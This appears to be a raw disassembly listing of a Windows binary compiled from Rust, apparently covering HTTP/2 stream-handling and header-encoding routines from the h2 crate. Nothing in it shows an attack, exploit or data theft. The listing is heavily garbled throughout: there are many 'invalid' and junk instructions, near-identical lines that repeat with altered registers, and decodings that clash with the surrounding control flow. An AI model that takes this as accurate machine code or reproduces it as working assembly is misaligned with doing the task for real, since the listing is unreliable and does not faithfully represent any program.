add byte [rdx + 0x2c], bh
add byte [rax], al
add byte [rax], al
call fcn.1401046f0
int3
int3
or eax, 0x1c0f641
test r8b, 1
test al, 1
je 0x1400221c5
test r9b, r9b
jne 0x1400221b9
jmp 0x1400221c5
add dword [rbp + 0xc], esi
cmp dword [rdx + 0x28], 0
jne 0x1400221c5
cmp dword [rdx + 0x2c], r8d
jbe 0x1400221f3
invalid
mov word cs:[rcx], 0x101
mov word [rcx], 0x101
mov dword [rcx + 4], 1
lea rax, [0x1401127a0]
lea eax, [0x1401127a0]
add al, 1
add byte [rax], al
add byte [rax - 0x73], cl
lea eax, [0x1401127a0]
lea eax, [0x1401127a0]
mov qword [rcx + 8], rax
lea rax, [0x14016f768]
invalid
adc al, 0
mov qword [rcx + 0x10], rax
invalid
xorps xmm0, xmm0
movups xmmword [rcx + 0x18], xmm0
add rsp, 0x28
ret
lea r9d, [r8 + 2]
mov r10d, r9d
shr r10d, 0x1f
invalid
invalid
invalid
mov dword [rdx + 0x28], r10d
mov dword [rdx + 0x2c], r9d
mov dword [rdx + 0x2c], ecx
mov dword [rdx + 0x2c], ecx
mov r9, qword [rax + 0x20]
cmp r9, qword [rax + 0x28]
jbe 0x140022223
mov dword [rcx + 4], 1
mov dword [rcx + 8], r8d
mov byte [rcx], 3
add rsp, 0x28
ret
mov dword [rdx + 0x30], 1
add byte [rax], al
mov dword [rdx + 0x34], r8d
mov dword [rcx + 4], 0
mov byte [rcx], 3
add al, 0
add byte [rax], al
add dh, al
add dword [rbx], eax
add rsp, 0x28
ret
add dword [rax], eax
add byte [rax], al
add byte [rax], al
add dh, al
and dword [rsi], 1
xorps xmm0, xmm0
movups xmmword [rcx + 0x84], xmm0
mov dword [rcx + 0x94], 0
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
mov dword [rcx + 0xa0], r9d
mov dword [rcx + 0xa4], r9d
mov dword [rcx + 0xe8], 0
mov word [rcx + 0x127], 0x100
mov dword [rcx + 0x48], 0x3b9aca00
mov dword [rcx + 0xf4], 0
mov qword [rcx + 0x18], 0
mov qword [rcx + 0xa8], 0
mov dword [rcx + 0x100], 0
mov qword [rcx + 0x30], 0
ret
xor eax, eax
xchg byte [rcx], al
cmp al, 2
jne 0x14002753c
add rsp, 0x78
pop rbx
pop rdi
pop rsi
pop r14
jmp qword [sym.imp.api_ms_win_core_synch_l1_2_0.dll_WakeByAddressSingle]
nop
add rsp, 0x78
pop rbx
pop rdi
pop rsi
pop r14
ret
adc dword [rcx], eax
jmp 0x140027524
jo 0x140027639
lea eax, [0x140125558]
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x40], 1
mov qword [rsp + 0x58], 0
lea rax, [rsp + 0x68]
lea eax, [rsp + 0x68]
lea eax, [rsp + 0x68]
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x50], 1
mov qword [rsp + 0x50], 1
lea rdx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srcproto_streams_store.rs
lea rcx, [rsp + 0x38]
call fcn.140104620
lea rcx, [0x140125630]
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srcproto_streams_stream.rsassertion_failed:_self.ref_count___usize::MAX
mov edx, 0x2d
call fcn.1401046f0
ud2
invalid
and al, 0x30
jmp 0x140027bd2
lea rax, [0x14001b1b0]
mov qword [rsp + 0x48], rax
lea rax, str.dangling_store_key_for_stream_id
mov qword [rsp + 0x58], rax
mov qword [rsp + 0x60], 1
add byte [rax - 0x39], cl
and al, 0x78
add byte [rax], al
add byte [rax], al
add byte [rax - 0x39], cl
and al, 0x78
add byte [rax], al
add byte [rax], al
lea rax, [rsp + 0x40]
mov qword [rsp + 0x68], rax
mov qword [rsp + 0x70], 1
lea rdx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srcproto_streams_store.rs
lea rcx, [rsp + 0x58]
call fcn.140104620
lea rax, [rsp + 0x34]
mov qword [rsp + 0x40], rax
lea rax, [0x14001b1b0]
mov qword [rsp + 0x48], rax
lea rax, str.dangling_store_key_for_stream_id
mov qword [rsp + 0x58], rax
mov qword [rsp + 0x60], 1
mov qword [rsp + 0x78], 0
lea rax, [rsp + 0x40]
mov qword [rsp + 0x68], rax
mov qword [rsp + 0x70], 1
lea rdx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srcproto_streams_store.rs
lea rcx, [rsp + 0x58]
call fcn.140104620
lea rcx, str.StreamRef::drop__mutex_poisoned
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srcproto_streams_streams.rs
lea eax, [0x140125788]
lea eax, [0x140125788]
mov edx, 0x1f
call fcn.140104d10
lea rcx, str.assertion_failed:_self.ref_count___0
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srcproto_streams_stream.rsassertion_failed:_self.ref_count___usize::MAX
lea eax, [0x1401256a0]
lea eax, [0x1401256a0]
mov edx, 0x24
call fcn.1401046f0
invalid
add ah, cl
push rbx
sub rsp, 0x108
cmp qword [rdx + 0x18], 0
je 0x140027f01
mov rsi, rdx
mov rdi, rcx
mov rbx, qword [rdx + 0x20]
mov r15, qword [rdx + 0x28]
mov r12, qword [rcx + 8]
mov rbp, qword [rcx + 0x10]
mov rcx, qword [rcx + 0x20]
mov r14, qword [rdi + 0x18]
dec r14
jmp 0x140027e06
invalid
xor eax, 0x66666666
nop word cs:[rax + rax]
mov rax, qword [rsp + 0x30]
mov rdx, qword [rsp + 0x38]
mov r8, qword [rsp + 0x40]
lea rcx, [rsp + 0x48]
call qword [rax + 0x10]
dec r14
mov rcx, r13
mov ecx, ebp
mov ecx, ebp
cmp r13, r15
je 0x140027f01
cmp rbp, rbx
jbe 0x140027f1d
mov r13, rbx
imul rax, rbx, 0xf0
add byte [rax], al
add byte [rax], al
mov rdx, qword [r12 + rax]
mov rbx, qword [r12 + rax + 8]
mov qword [r12 + rax], 2
mov qword [r12 + rax + 8], rcx
cmp rdx, 2
je 0x140027f15
add byte [rax], al
mov qword [rdi + 0x18], r14
mov qword [rdi + 0x20], r13
outsd dx, dword [rsi]
and byte [rbp + 0x39], cl
std
outsd dx, dword [rsi]
and byte [rbp + 0x39], cl
std
jne 0x140027e60
test rdx, rdx
jne 0x140027f41
mov qword [rsi + 0x18], 0
add byte [rax], al
add byte [rax], al
mov rbx, r15
jmp 0x140027e75
invalid
sbb dword [rdi], ecx
invalid
add byte [rax - 0x7b], cl
ror byte [rdi], cl
test ah, cl
add byte [rax], al
add byte [rax - 0x39], cl
sbb byte [rcx], r8b
add byte [rax], al
add byte [rax], al
mov qword [rsi + 0x20], rbx
invalid
invalid
test rdx, rdx
je 0x140027f35
mov qword [rsi + 0x18], 1
add byte [rax], al
mov qword [rsi + 0x20], rbx
lea rdx, [r12 + rax]
adc al, 4
add rdx, 0x10
mov r8d, 0xe0
lea rcx, [rsp + 0x28]
call sub.VCRUNTIME140.dll_memcpy
mov rax, qword [rsp + 0x28]
cmp rax, 6
je 0x140027f01
ret 0x4110
mov edx, eax
and edx, 6
loop 0x140027ea3
lea rcx, [rax - 3]
cmp edx, 4
mov edx, 0
add al, 0xba
add byte [rax], al
add byte [rax], al
cmovne rcx, rdx
test rcx, rcx
je 0x140027ed0
cmp rcx, 1
je case.0x14001a36d.782
lea rcx, [rsp + 0x30]
call fcn.1400524f0
jmp 0x140027df7
cmp rax, 3
jne 0x140027ef2
lea rcx, [rsp + 0x30]
call fcn.1400524f0
mov rcx, qword [rsp + 0x90]
call fcn.140002cb0
jmp 0x140027df7
lea rcx, [rsp + 0x28]
call fcn.140002ad0
jmp 0x140027df7
add rsp, 0x108
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
add r12, rax
mov qword [r12 + 8], rbx
lea rcx, str.invalid_keyC:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_slab_0.4.9_srclib.rs
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srcproto_streams_buffer.rsH
mov edx, 0xb
call fcn.140104a60
lea rcx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srcproto_streams_buffer.rsH
call fcn.140104a40
retf 0xd
retf 0xd
lea rcx, str.assertion_failed:_slot.next.is_none__
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srcproto_streams_buffer.rsH
mov edx, 0x25
call fcn.1401046f0
int3
add byte [rax], al
add byte [rsi + rdx + 0x31], dh
shr bl, 0x1c
cmp dword [rcx + 0x28], 0
sete dl
cmp dword [rcx + 0x2c], r8d
setbe al
and al, dl
shr bl, 1
invalid
shr bl, 1
or al, byte [rcx + rdi - 0x7f]
movsb byte [rdi], byte [rsi]
add byte [rax], al
add byte [rdi], cl
xchg esi, eax
ror byte [rdi], 0xb6
sar byte [rdx + 1], 0x48
add esp, 0x28
movzx eax, al
mov edx, 1
add rsp, 0x28
ret
invalid
add ah, cl
int3
mov rdx, rsi
call sub.VCRUNTIME140.dll_memcpy
movups xmm0, xmmword [rsp + 0x2a8]
movups xmm1, xmmword [rsp + 0x2b8]
movaps xmmword [rsp + 0x530], xmm0
movaps xmmword [rsp + 0x540], xmm1
mov qword [rsp + 0x458], 2
mov qword [rsp + 0x478], 0
mov rcx, qword [rsp + 0x88]
mov rax, qword [rcx]
mov rbx, qword [rcx + 8]
mov rsi, qword [rcx + 0x10]
mov qword [rcx], 2
test rax, rax
je 0x14002828b
cmp rax, 1
jne 0x1400285eb
mov rax, qword [rsp + 0x88]
lea r14, [rax + 0x18]
mov rcx, r14
mov rdx, rbx
call fcn.14002bce0
mov rcx, r14
mov rdx, rsi
call fcn.14002bce0
cmp rbx, 0x1f
jae 0x1400282e1
or bl, 0x20
mov rax, qword [rsp + 0x60]
mov rcx, qword [rsp + 0x68]
cmp rcx, rax
invalid
jne 0x14002827e
sal dword [rbp + 0x19], 0x48
lea ecx, [rsp + 0x58]
lea rcx, [rsp + 0x58]
mov edx, 1
call fcn.1400126a0
mov rax, qword [rsp + 0x60]
mov rcx, qword [rsp + 0x68]
mov rdx, qword [rsp + 0x58]
mov byte [rdx + rax], bl
jmp 0x1400283d2
mov rax, qword [rsp + 0x88]
lea rcx, [rax + 0x18]
mov rdx, rbx
call fcn.14002bce0
cmp rbx, 0x1f
jae 0x14002842a
or bl, 0x20
mov rax, qword [rsp + 0x60]
and al, 0x60
and al, 0x60
mov rcx, qword [rsp + 0x68]
cmp rcx, rax
jne 0x1400282d4
lea rcx, [rsp + 0x58]
mov edx, 1
call fcn.1400126a0
mov rax, qword [rsp + 0x60]
mov rcx, qword [rsp + 0x68]
and al, 0x68
and al, 0x68
mov rdx, qword [rsp + 0x58]
and al, 0x58
mov byte [rdx + rax], bl
jmp case.0x14001a36d.659
mov rax, qword [rsp + 0x60]
mov rcx, qword [rsp + 0x68]
push 0x75c13948
invalid
push 0x75c13948
sbb dword [rax - 0x73], ecx
and al, 0x58
lea rcx, [rsp + 0x58]
mov edx, 1
call fcn.1400126a0
mov rax, qword [rsp + 0x60]
and al, 0x60
add byte [rax], al
add al, ch
movabs eax, dword [0x6024448b48fffea3]
and al, 0x60
and al, 0x60
mov rcx, qword [rsp + 0x68]
and al, 0x68
mov rdx, qword [rsp + 0x58]
mov byte [rdx + rax], 0x3f
inc rax
mov qword [rsp + 0xc0], rax
cmp rax, rcx
ja 0x14002b96f
add rbx, 0xffffffffffffffe1
mov qword [rsp + 0x60], rax
cmp rbx, 0x80
jb 0x14002b7d5
mov rcx, qword [rsp + 0x68]
lea r14, [rsp + 0x58]
and al, 0x58
and al, 0x58
nop word cs:[rax + rax]
add byte [rax + 0x39], cl
sal dword [rbp + 0x17], 0xba
add dword [rax], eax
add byte [rax], al
cmp rcx, rax
jne case.0x14001a36d.656
mov edx, 1
mov rcx, r14
call fcn.1400126a0
mov rax, qword [rsp + 0x60]
mov rcx, qword [rsp + 0x68]
mov edx, ebx
or dl, 0x80
mov r8, qword [rsp + 0x58]
mov byte [r8 + rax], dl
inc rax
mov qword [rsp + 0xc0], rax
add byte [rax + 0x39], cl
enter 0xffffffffffff870f, 0xffffffffffffffe1
invalid
add byte [rax], al
add byte [rax + 0x39], cl
enter 0xffffffffffff870f, 0xffffffffffffffe1
xor eax, 0x89480000
and al, 0x60
mov qword [rsp + 0x60], rax
mov r13, rbx
mov ebp, ebx
shr r13, 7
cmp rbx, 0x3fff
mov rbx, r13
ja 0x140028350
mov rcx, qword [rsp + 0x68]
cmp rcx, rax
jne 0x1400283c9
lea rcx, [rsp + 0x58]
mov edx, 1
call fcn.1400126a0
mov rax, qword [rsp + 0x60]
mov rcx, qword [rsp + 0x68]
mov rdx, qword [rsp + 0x58]
mov byte [rdx + rax], r13b
inc rax
mov qword [rsp + 0xc0], rax
cmp rax, rcx
ja 0x14002b96f
mov qword [rsp + 0x60], rax
cmp rsi, 0x1f
jae 0x1400284eb
or sil, 0x20
mov rcx, qword [rsp + 0x68]
cmp rcx, rax
jne 0x14002841c
lea rcx, [rsp + 0x58]
mov edx, 1
call fcn.1400126a0
mov rax, qword [rsp + 0x60]
mov rcx, qword [rsp + 0x68]
mov rdx, qword [rsp + 0x58]
mov byte [rdx + rax], sil
xor al, 2
jmp case.0x14001a36d.659
mov rax, qword [rsp + 0x60]
mov rcx, qword [rsp + 0x68]
cmp rcx, rax
jne 0x140028452
lea rcx, [rsp + 0x58]
mov edx, 1
call fcn.1400126a0
mov rax, qword [rsp + 0x60]
mov eax, dword [rsp + 0x60]
mov eax, dword [rsp + 0x60]
mov rcx, qword [rsp + 0x68]
mov rdx, qword [rsp + 0x58]
mov edx, dword [rsp + 0x58]
mov byte [rdx + rax], 0x3f
inc rax
mov qword [rsp + 0xc0], rax
cmp rax, rcx
enter 0xffffffffffff870f, 0
invalid
add byte [rax], al
add rbx, 0xffffffffffffffe1
mov qword [rsp + 0x60], rax
cmp rbx, 0x80
jb 0x14002b7eb
mov rcx, qword [rsp + 0x68]
lea rsi, [rsp + 0x58]
nop
cmp rcx, rax
jne 0x1400284ac
mov edx, 1
mov rcx, rsi
call fcn.1400126a0
mov rax, qword [rsp + 0x60]
mov rcx, qword [rsp + 0x68]
mov edx, ebx
or dl, 0x80
mov r8, qword [rsp + 0x58]
mov byte [r8 + rax], dl
inc rax
mov qword [rsp + 0xc0], rax
cmp rax, rcx
enter 0xffffffffffff870f, 0xffffffffffffffa1
xor al, 0
invalid
enter 0xffffffffffff870f, 0xffffffffffffffa1
xor al, 0
add byte [rax - 0x77], cl
and al, 0x60
mov qword [rsp + 0x60], rax
mov r14, rbx
shr r14, 7
cmp rbx, 0x3fff
mov rbx, r14
ja 0x140028490
jmp 0x1400285a6
mov rcx, qword [rsp + 0x68]
cmp rcx, rax
jne 0x14002850e
lea rcx, [rsp + 0x58]
mov edx, 1
call fcn.1400126a0
mov rax, qword [rsp + 0x60]
mov rcx, qword [rsp + 0x68]
mov rdx, qword [rsp + 0x58]
mov byte [rdx + rax], 0x3f
inc rax
mov qword [rsp + 0xc0], rax
cmp rax, rcx
ja 0x14002b96f
add byte [rax], al
add byte [rax], al
add rsi, 0xffffffffffffffe1
mov qword [rsp + 0x60], rax
loope 0x140028578
mov dword [rsp + 0x60], eax
cmp rsi, 0x80
jb 0x14002b801
inc byte [rax + 0xf000000]
invalid
mov rcx, qword [rsp + 0x68]
lea rbx, [rsp + 0x58]
nop dword [rax + rax]
invalid
add byte [rax], r8b
invalid
cmp rcx, rax
jne 0x14002856c
mov edx, 1
mov rcx, rbx
call fcn.1400126a0
mov rax, qword [rsp + 0x60]
mov rcx, qword [rsp + 0x68]
mov edx, esi
or dl, 0x80
mov r8, qword [rsp + 0x58]
mov byte [r8 + rax], dl
adc al, 0
inc rax
mov qword [rsp + 0xc0], rax
cmp rax, rcx
ja 0x14002b96f
ror byte [rax - 0x77], 0x84
and al, 0xc0
add byte [rax], al
add byte [rax + 0x39], cl
enter 0xffffffffffff870f, 0xffffffffffffffe1
xor eax, dword [rax]
add byte [rax - 0x77], cl
and al, 0x60
mov qword [rsp + 0x60], rax
mov r14, rsi
shr r14, 7
cmp rsi, 0x3fff
mov rsi, r14
mov esi, esi
mov esi, esi
ja 0x140028550
mov rcx, qword [rsp + 0x68]
cmp rcx, rax
jne 0x1400285c9
lea rcx, [rsp + 0x58]
mov edx, 1
call fcn.1400126a0
mov rax, qword [rsp + 0x60]
invalid
mov rcx, qword [rsp + 0x68]
invalid
mov rdx, qword [rsp + 0x58]
mov byte [rdx + rax], r14b
inc rax
mov qword [rsp + 0xc0], rax
cmp rax, rcx
enter 0xffffffffffff870f, 0xffffffffffffff89
xor eax, dword [rax]
invalid
enter 0xffffffffffff870f, 0xffffffffffffff89
xor eax, dword [rax]
add byte [rax - 0x77], cl
and al, 0x60
mov qword [rsp + 0x60], rax
add r12, r15
mov qword [rsp + 0x480], 5
invalid
add byte [rax], al
add byte [rax], al
add eax, 0x48000000
add byte [rax], al
mov qword [rsp + 0x2a8], 0
mov dword [rsp + 0x2a8], 0
movaps xmm0, xmmword [rsp + 0x530]
test byte [rax + rsi], ah
add eax, 0x280f0000
invalid
invalid
movaps xmm1, xmmword [rsp + 0x540]
mov word [rax + rax*2], fs
add eax, 0x110f0000
add byte [rax], al
invalid
invalid
test byte [rax + rsi*4], ah
add byte [rax], al
movups xmmword [rsp + 0x2b0], xmm0
add al, byte [rax]
add byte [rdi], cl
adc dword [rsp + 0x2c0], ecx
mov word [rax + rax*8], fs
add al, byte [rax]
add byte [rax], al
movups xmmword [rsp + 0x2c0], xmm1
add byte [rax], al
add byte [rcx + rcx*4 - 0x44], cl
and al, 0xd0
mov qword [rsp + 0x2d0], r15
mov dword [rsp + 0x2d0], edi
add al, byte [rax]
add byte [rcx + rcx*4 - 0x44], cl
mov esp, 0x2d824
add byte [rax], al
mov qword [rsp + 0x2d8], r15
mov qword [rsp + 0x2e0], rdi
mov qword [rsp + 0x2e8], r12
movsb byte [rdi], byte [rsi]
and al, 0xe8
add al, byte [rax]
add byte [rax - 0x73], cl
mov word [rax + rsi*8], fs
add al, byte [rax]
add byte [rax - 0x73], cl
xchg esp, eax
and al, 0x58
add eax, 0xb8410000
invalid
add byte [rax], al
invalid
mov esp, 0x2d824
add byte [rax - 0x77], cl
mov esp, 0x2e024
add byte [rcx + rcx*4 - 0x5c], cl
movsb byte [rdi], byte [rsi]
movsb byte [rdi], byte [rsi]
and al, 0xe8
add al, byte [rax]
add byte [rax - 0x73], cl
mov word [rax + rsi*8], fs
add al, byte [rax]
add byte [rax - 0x73], cl
xchg esp, eax
and al, 0x58
add eax, 0xb8410000
movabs al, byte [0xda994e8000000]
call sub.VCRUNTIME140.dll_memcpy
mov rcx, qword [rsp + 0x88]
lea rax, [rcx + 0x18]
mov qword [rsp + 0x398], rax
lea rax, [rcx + 0x30]
mov qword [rsp + 0x4d8], rax
lea r13, [rsp + 0x160]
mov dword [rsp + 0x274], eax
sbb byte [rax - 0x77], cl
test byte [rax + rbx*4], ah
add eax, dword [rax]
add byte [rax - 0x73], cl
xor byte [r8 - 0x77], cl
test byte [rax + rbx*8], ah
add al, 0
add byte [rbp + rcx*4 - 0x54], cl
and al, 0x60
add dword [rax], eax
add byte [rcx + 0x2742484], cl
add byte [rax], al
movzx eax, byte [rsp + 0x2f0]
cmp rax, 0xc
je 0x140028a82
nop word cs:[rax + rax]
mov rcx, qword [rsp + 0x2f8]
mov r9, qword [rsp + 0x300]
mov byte [rsp + 0x2f0], 0xb
cmp al, 0xb
jne 0x140028750
mov rdx, qword [rsp + 0x308]
mov qword [rsp + 0x308], 0
test rdx, rdx
je 0x1400287cd
mov rsi, qword [rsp + 0x310]
mov r10, qword [rsp + 0x318]
mov rbx, qword [rsp + 0x320]
mov ecx, 4
lea rax, [rcx - 2]
dec rcx
cmp rax, 6
mov eax, 0
cmovae rcx, rax
mov al, 7
lea r9, [0x140172d88]
movsxd r8, dword [r9 + rcx*4]
add r8, r9
mov r9, r10
mov rbp, rdx
mov ecx, edx
mov r10, qword [rsp + 0x268]
movzx r11d, byte [rsp + 0x4f]
jmp r8
movzx edx, byte [rsp + 0x2f7]
shl edx, 0x10
movzx r8d, word [rsp + 0x2f5]
or r8d, edx
mov edx, dword [rsp + 0x2f1]
shl r8, 0x28
shl rdx, 8
or rdx, r8
or rdx, rax
mov r8d, 3
lea rax, [r8 - 2]
dec r8
cmp rax, 6
mov eax, 0
cmovae r8, rax
mov al, 7
lea r10, [0x140172d88]
adc al, 0
adc al, 0
movsxd r8, dword [r10 + r8*4]
add r8, r10
mov rsi, rcx
mov rbp, rdx
mov ebp, edx
mov ebp, edx
mov ecx, edx
mov r10, qword [rsp + 0x268]
mov edx, dword [rsp + 0x268]
add byte [rdi + rcx - 0x4a], al
movzx r11d, byte [rsp + 0x4f]
pop rsp
and al, 0x4f
jmp r8
mov r14, rbp
mov esi, ebp
shr r14, 0x10
mov al, 2
jmp 0x1400289c5
mov rdx, qword [rsp + 0x328]
sub byte [rbx], al
add byte [rax], al
mov qword [rsp + 0x328], 0
test rdx, rdx
test edx, edx
add byte [rax], al
add byte [rax], al
add byte [rax - 0x7b], cl
test edx, edx
je 0x140028840
mov rsi, qword [rsp + 0x330]
test edx, edx
je 0x140028840
mov rsi, qword [rsp + 0x330]
add byte [rbx + rcx*4 - 0x6c], cl
and al, 0x38
add eax, dword [rax]
add byte [rax - 0x75], cl
mov r10, qword [rsp + 0x338]
mov rbx, qword [rsp + 0x340]
pushfq
and al, 0x40
add eax, dword [rax]
add byte [rcx + 2], bh
pushfq
and al, 0x40
add eax, dword [rax]
add byte [rcx + 2], bh
add byte [rax], al
lea rax, [rcx - 2]
dec rcx
cmp rax, 6
mov eax, 0
cmovae rcx, rax
invalid
mov al, 7
enter 0x7b0, 0x4c
lea ecx, [0x140172d88]
lea r9, [0x140172d88]
movsxd r8, dword [r9 + rcx*4]
add r8, r9
mov r9, r10
mov rbp, rdx
mov ecx, edx
mov r10, qword [rsp + 0x268]
movzx r11d, byte [rsp + 0x4f]
jmp r8
mov rdx, qword [rsp + 0x348]
mov qword [rsp + 0x348], 0
test rdx, rdx
je 0x1400288b3
mov rsi, qword [rsp + 0x350]
mov r10, qword [rsp + 0x358]
mov rbx, qword [rsp + 0x360]
mov ebx, dword [rsp + 0x360]
mov ebx, dword [rsp + 0x360]
mov ecx, 5
lea rax, [rcx - 2]
dec rcx
cmp rax, 6
mov eax, 0
cmovae rcx, rax
mov al, 7
invalid
lea r9, [0x140172d88]
movsxd r8, dword [r9 + rcx*4]
add r8, r9
mov r9, r10
mov rbp, rdx
mov ecx, edx
mov r10, qword [rsp + 0x268]
movzx r11d, byte [rsp + 0x4f]
jmp r8
invalid
mov rdx, qword [rsp + 0x368]
mov qword [rsp + 0x368], 0
test rdx, rdx
je 0x140028926
mov rsi, qword [rsp + 0x370]
mov r10, qword [rsp + 0x378]
mov rbx, qword [rsp + 0x380]
mov ecx, 6
lea rax, [rcx - 2]
lea eax, [rcx - 2]
dec rcx
cmp rax, 6
mov eax, 0
add byte [rax + 0xf], cl
enter 0x7b0, 0x4c
lea ecx, [0x140172d88]
add byte [rax + 0xf], cl
enter 0x7b0, 0x4c
lea ecx, [0x140172d88]
movsxd r8, dword [r9 + rcx*4]
add r8, r9
mov r9, r10
mov rbp, rdx
mov ecx, edx
mov r10, qword [rsp + 0x268]
movzx r11d, byte [rsp + 0x4f]
pop rsp
and al, 0x4f
pop rsp
and al, 0x4f
jmp r8
movzx eax, word [rsp + 0x388]
mov word [rsp + 0x388], 0
test rax, rax
je 0x1400289e3
mov rbp, qword [rsp + 0x3f8]
and rbp, 0xffffffffffff0000
or rbp, rax
mov ecx, 7
lea rax, [rcx - 2]
dec rcx
cmp rax, 6
cmp eax, 6
mov eax, 0
cmovae rcx, rax
mov al, 7
lea rdx, [0x140172d88]
adc eax, 0x14a413
adc eax, 0x14a413
movsxd r8, dword [rdx + rcx*4]
add r8, rdx
mov edx, ebp
mov ecx, ebp
mov r9, qword [rsp + 0x440]
mov r10, qword [rsp + 0x268]
mov edx, dword [rsp + 0x268]
push 0x44000002
movzx ebx, byte [rsp + 0x4f]
movzx r11d, byte [rsp + 0x4f]
jmp r8
loopne 0x1400289e3
mov r14, rbp
mov esi, ebp
shr r14, 0x10
mov al, 3
invalid
mov ecx, edx
jmp 0x1400289ca
mov r14, rbp
out dx, al
shr r14, 0x10
mov al, 4
jmp 0x1400289c5
mov r14, rbp
shr r14, 0x10
mov al, 5
jmp 0x1400289c5
mov r14, rbp
shr r14, 0x10
mov al, 6
invalid
invalid
mov ecx, edx
mov r10, rbx
mov edx, ebx
mov rdi, r9
mov r12, rsi
movzx edx, byte [rsp + 0x7f]
mov r15d, edx
movzx r11d, byte [rsp + 0x7e]
jmp case.0x140028996.6
lea rcx, [rsp + 0x2f0]
lea ecx, [rsp + 0x2f0]
and al, 0xf0
add al, byte [rax]
add al, ch
nop
sub bh, bh
invalid
call fcn.14001b280
jmp 0x140028a82
invalid
add byte [rax - 0x75], cl
mov ah, 0x24
add al, 0
add byte [rdi], cl
invalid
invalid
mov rsi, qword [rsp + 0x448]
nop dword [rax]
lea rcx, [rsp + rax]
or al, 4
add rcx, 0x480
add byte [rax + rax], 0
call fcn.14009a0f0
add byte [rax - 0x75], cl
test byte [rax + rsi*4], ah
add dword [rax], eax
add byte [rax - 0x77], cl
test byte [rax + rdx*8], ah
add al, 0
add byte [rax], al
movaps xmm0, xmmword [rsp + 0x1a0]
mov rax, qword [rsp + 0x1b0]
mov qword [rsp + 0x4d0], rax
add byte [rax], al
add byte [rax], al
movaps xmm0, xmmword [rsp + 0x1a0]
movaps xmmword [rsp + 0x4c0], xmm0
movaps xmm0, xmmword [rsp + 0x160]
movaps xmm1, xmmword [rsp + 0x170]
movaps xmm2, xmmword [rsp + 0x180]
movaps xmm3, xmmword [rsp + 0x190]
movaps xmmword [rsp + 0x4b0], xmm3
pushfq
and al, 0x90
add dword [rax], eax
add byte [rdi], cl
sub dword [rsp + 0x4b0], ebx
movaps xmmword [rsp + 0x4a0], xmm2
movaps xmmword [rsp + 0x490], xmm1
movaps xmmword [rsp + 0x480], xmm0
movzx eax, byte [rsp + 0x2f0]
cmp rax, 0xc
or al, 0xf
test dword [rsi], ebp
cld
invalid
invalid
or al, 0xf
test dword [rsi], ebp
cld
invalid
mov byte [rsp + 0x2f0], 0xc
mov r8d, 0x9f
lea rcx, [rsp + 0x2f1]
mov rdx, r13
call sub.VCRUNTIME140.dll_memcpy
cmp qword [rsp + 0x2a8], 0
add byte [rax], al
invalid
je 0x140028af0
add byte [rax], al
add byte [rbp + rax*2 + 0x48], dh
mov ecx, dword [rsp + 0x2b0]
mov rcx, qword [rsp + 0x2b0]
mov rdx, qword [rsp + 0x2c8]
cmp rcx, rdx
jae 0x14002b866
add byte [rax], al
add byte [rax], al
mov rdx, qword [rsp + 0x2c0]
lea rcx, [rcx + rcx*8]
lea rax, [rdx + rcx*8]
lea eax, [rdx + rcx*8]
cmp qword [rdx + rcx*8 + 0x10], 0
je 0x140028dd0
test al, dh
add al, byte [rax]
invalid
mov rcx, qword [rax + 0x18]
mov edx, 1
sbb byte [rdx + 1], dil
jmp 0x140028dd2
nop
mov rax, qword [rsp + 0x2d8]
cmp rax, qword [rsp + 0x2e8]
add byte [rdi], cl
invalid
invalid
sub byte [rax], al
invalid
add byte [rdi], cl
test byte [rax + 0x48000028], bh
lea ecx, [rax + 0x68]
lea rcx, [rax + 0x68]
mov qword [rsp + 0x2d8], rcx
mov rcx, qword [rax]
cmp rcx, 2
je 0x14002b3be
lahf
sub byte [rax], al
invalid
lahf
sub byte [rax], al
add byte [rbx + 0xf443a50], cl
mov bh, 0x40
shl r8, 0x20
mov edx, dword [rax + 0x3a]
movzx r8d, word [rax + 0x3e]
shl r8, 0x20
or r8, rdx
mov qword [rsp + 0x428], r8
test byte [rax + rbp], ah
add al, 0
add byte [rdi], cl
mov dh, 0x50
cmp dword [rax + 0x932494], ecx
add byte [rax], al
test byte [rax + rbp], ah
add al, 0
add byte [rdi], cl
mov dh, 0x50
cmp dword [rax + 0x932494], ecx
add byte [rax], al
movzx edx, byte [rax + 0x38]
mov byte [rsp + 0x92], dl
mov rdx, qword [rax + 0x30]
xor byte [rax - 0x77], cl
xchg esp, eax
and al, 0x18
add al, 0
add byte [rax], al
add byte [rax], al
mov rdx, qword [rax + 0x28]
mov qword [rsp + 0x410], rdx
mov rdx, qword [rax + 0x20]
mov qword [rsp + 0x408], rdx
or byte [rax + rax], al
add byte [rbx + 0xf441a50], cl
mov bh, 0x40
invalid
shl r8, 0x20
or r8, rdx
mov qword [rsp + 0x420], r8
add byte [rdi], cl
mov bh, 0x50
sbb byte [rcx + 0x2742494], cl
add byte [rax], al
add byte [rax - 0x75], cl
push rax
and byte [rax - 0x77], cl
xchg esp, eax
and al, 8
or byte [rax + rax], al
or byte [rax + rax], al
add byte [rbx + 0xf441a50], cl
mov bh, 0x40
invalid
add byte [rdi], cl
mov bh, 0x50
sbb byte [rcx + 0x2742494], cl
add byte [rax], al
mov rdx, qword [rax + 8]
mov qword [rsp + 0x2a8], rcx
mov qword [rsp + 0x2b0], rdx
add byte [rax], al
push rax
or byte [rax - 0x77], cl
mov word [rax + rbp*4], fs
add al, byte [rax]
add byte [rax - 0x77], cl
xchg esp, eax
and al, 0xb0
add al, byte [rax]
add byte [rax], al
mov rcx, qword [rax + 0x40]
